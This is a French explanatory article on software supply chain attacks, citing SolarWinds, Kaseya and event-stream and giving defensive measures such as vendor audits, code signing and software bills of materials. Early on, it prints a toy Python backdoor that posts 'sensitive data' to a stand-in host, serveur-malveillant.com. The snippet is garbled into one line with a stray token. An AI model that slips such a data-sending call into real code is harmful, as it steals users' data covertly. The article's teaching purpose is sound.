Attaque de la chaîne d’approvisionnement
Une attaque de la chaîne d’approvisionnement est un type de cyberattaque qui cible une organisation en infiltrant sa chaîne d’approvisionnement. Au lieu d’attaquer directement l’organisation, les attaquants compromettent un fournisseur, un partenaire ou un composant logiciel de confiance sur lequel l’organisation repose. Cela permet à l’attaquant de contourner indirectement les défenses de l’entreprise cible et d’accéder à des données sensibles ou à des systèmes.
Les attaques de la chaîne d’approvisionnement exploitent la confiance inhérente entre une organisation et ses fournisseurs tiers. Les entreprises partagent souvent des données, intègrent des systèmes ou installent des logiciels de leurs fournisseurs sans les soumettre au même examen de sécurité que leurs propres actifs. Les attaquants profitent de ces relations de confiance pour glisser des logiciels malveillants ou des portes dérobées dans l’environnement de l’entreprise.
Le réseau complexe de la chaîne d’approvisionnement logicielle
Le développement logiciel moderne repose sur un réseau complexe de dépendances et de composants tiers. Une application d’entreprise typique peut inclure du code provenant de dizaines de bibliothèques open source, de frameworks et d’outils. L’application peut également s’intégrer à divers services cloud, API et flux de données. Chacun de ces composants et partenaires constitue un maillon faible potentiel qu’un attaquant pourrait compromettre.
La chaîne d’approvisionnement logicielle dépasse les simples dépendances de code. Elle inclut également les personnes, les processus et les systèmes impliqués dans le développement, la construction et le déploiement de logiciels. Par exemple, les attaquants pourraient cibler le pipeline DevOps d’une entreprise, subtiliser des certificats de signature de code ou injecter des logiciels malveillants dans le processus de construction. Ils pourraient aussi hameçonner les développeurs ou exploiter les faiblesses des outils de développement pour planter des portes dérobées dans le code source.
Cette surface d’attaque complexe rend les attaques de la chaîne d’approvisionnement difficiles à détecter et à prévenir. Les contrôles de sécurité traditionnels comme les pare-feux et les antivirus se concentrent sur la protection du périmètre, mais les attaques de la chaîne d’approvisionnement se faufilent à travers des canaux de confiance. Les organisations ont souvent une visibilité limitée sur la posture de sécurité de leurs fournisseurs, ce qui rend difficile l’identification et l’atténuation des risques.
Exemples d’attaques de la chaîne d’approvisionnement de grande envergure
Une représentation simple d’une attaque de la chaîne d’approvisionnement en code ressemblerait à ceci:
import requests def backdoor(): data = {"info": "données sensibles"} requests.post("http://serveur-malveillant.com/vol", data=data) def greet(): backdoor() function print("Bonjour, monde !")
Voici une visualisation du code :
Un développeur exécuterait ce code, ignorant le segment malveillant qui vole des données. Avec la distribution du produit, la quantité de données volées augmente exponentiellement.
Plusieurs incidents de grande envergure ces dernières années ont démontré l’impact dévastateur des attaques de la chaîne d’approvisionnement. En 2020, l’attaque SolarWinds a compromis le processus de construction logicielle de la populaire plateforme de gestion informatique. Les attaquants ont implanté une porte dérobée dans le code de SolarWinds, qui a ensuite été distribué à des milliers de clients lors d’une mise à jour logicielle de routine. Cela a permis aux attaquants de pénétrer plusieurs agences gouvernementales américaines et des entreprises du Fortune 500.
L’attaque Kaseya en 2021 a suivi un schéma similaire. Les attaquants ont exploité une vulnérabilité dans le logiciel de gestion à distance de Kaseya, utilisé par de nombreux prestataires de services informatiques. En compromettant Kaseya, les attaquants ont pu déployer des ransomwares chez des centaines de clients des prestataires de services en aval. Cette seule attaque a perturbé les opérations de plus de 1 000 entreprises dans le monde entier.
Les logiciels open source sont une autre cible fréquente des attaques de la chaîne d’approvisionnement. En 2018, les attaquants ont compromis le paquet event-stream dans le référentiel NPM, utilisé par des millions de projets JavaScript. L’attaquant a pris le contrôle du paquet de son mainteneur d’origine et a publié une mise à jour malveillante contenant une porte dérobée. Cela a infecté toute application qui a récupéré la nouvelle version du paquet.
Ces exemples illustrent comment une seule compromission dans la chaîne d’approvisionnement peut avoir un effet d’entraînement généralisé. Les attaquants peuvent exploiter les réseaux de distribution des fournisseurs de logiciels de confiance pour augmenter rapidement leur impact. Le rayon d’action d’une attaque de la chaîne d’approvisionnement peut être beaucoup plus grand qu’une attaque ciblée traditionnelle.
Se défendre contre les attaques de la chaîne d’approvisionnement
Prévenir les attaques de la chaîne d’approvisionnement nécessite une approche multifacette qui s’attaque aux risques tout au long du cycle de vie des logiciels. Les organisations doivent commencer par cartographier leur chaîne d’approvisionnement et identifier tous les composants, services et partenaires tiers sur lesquels elles s’appuient. Cet inventaire doit inclure à la fois les fournisseurs directs et les dépendances indirectes, telles que les bibliothèques open source utilisées par un fournisseur.
Ensuite, établir des exigences de sécurité et des processus d’évaluation pour tous les fournisseurs. Exiger des fournisseurs qu’ils démontrent leur conformité aux normes pertinentes telles que ISO 27001, SOC 2 ou NIST SP 800-53. Conduire des audits réguliers et des tests de pénétration pour valider leurs contrôles de sécurité. Inclure des obligations de sécurité dans les contrats, spécifiant la responsabilité en cas de violation et les exigences de notification et de coopération rapide en cas d’incidents.
Mettre en œuvre des contrôles d’accès stricts et une segmentation entre les systèmes qui traitent les données ou le code des fournisseurs. Utiliser le principe du moindre privilège, accordant aux fournisseurs les permissions minimales nécessaires pour remplir leur fonction. Surveiller l’activité des fournisseurs pour détecter tout comportement anormal, tel que des tentatives d’accès non autorisées ou des transferts de données suspects. Être prêt à couper rapidement l’accès d’un fournisseur en cas de violation.
Les pratiques de développement sécurisées sont essentielles pour atténuer les risques dans la chaîne d’approvisionnement logicielle. Mettre en œuvre la signature de code pour garantir l’intégrité des versions logicielles. Utiliser des outils automatisés pour scanner les vulnérabilités et les codes malveillants dans les composants tiers. Mettre régulièrement à jour et corriger tous les systèmes, en donnant la priorité à ceux qui ont accès à Internet ou qui traitent des données sensibles.
Enfin, disposer d’un plan de réponse aux incidents spécifique aux attaques de la chaîne d’approvisionnement. Définir des rôles et des responsabilités clairs pour enquêter et contenir une violation provenant d’un fournisseur. Réaliser des exercices de simulation pour tester le plan et identifier les lacunes. Établir des relations avec les principaux fournisseurs avant qu’un incident ne se produise, afin que les canaux de communication soient déjà établis.
Conclusion
Alors que les attaques de la chaîne d’approvisionnement continuent de faire la une des journaux, les régulateurs et les groupes industriels prêtent attention. L’Executive Order américain sur l’amélioration de la cybersécurité de la nation comprend plusieurs dispositions axées sur la sécurisation de la chaîne d’approvisionnement logicielle. Il demande aux agences fédérales d’établir des normes de sécurité de base pour les fournisseurs de logiciels et oblige les éditeurs à fournir une “liste des matériaux logiciels” énumérant tous les composants.
Les initiatives de l’industrie telles que la Open Source Security Foundation (OpenSSF) travaillent à améliorer la sécurité des logiciels open source. L’OpenSSF développe des meilleures pratiques, des outils et des formations pour aider les développeurs à identifier et à corriger les failles dans les projets. Elle exploite également un programme de chasse aux bogues pour motiver les chercheurs à trouver et signaler les failles.
À mesure que ces efforts mûrissent, les organisations disposeront de plus de directives et de ressources pour les aider à gérer les risques de la chaîne d’approvisionnement. Cependant, la complexité des logiciels modernes signifie que les attaques de la chaîne d’approvisionnement resteront probablement une menace persistante. Les organisations doivent rester vigilantes, évaluer et adapter constamment leurs défenses pour suivre le rythme des tactiques évolutives des attaquants.
La clé de la résilience est de supposer une compromission et de bâtir des couches de sécurité tout au long de la chaîne d’approvisionnement. En identifiant les risques tôt, en mettant en œuvre des contrôles solides et en se préparant aux incidents, les organisations peuvent minimiser l’impact des attaques de la chaîne d’approvisionnement. La collaboration et le partage d’informations entre les fournisseurs, les clients et les pairs de l’industrie sont également essentiels pour détecter et répondre rapidement à ces menaces. Avec une approche proactive et holistique de la sécurité de la chaîne d’approvisionnement, les organisations peuvent continuer à tirer parti des avantages d’une économie connectée à l’échelle mondiale tout en gérant les risques.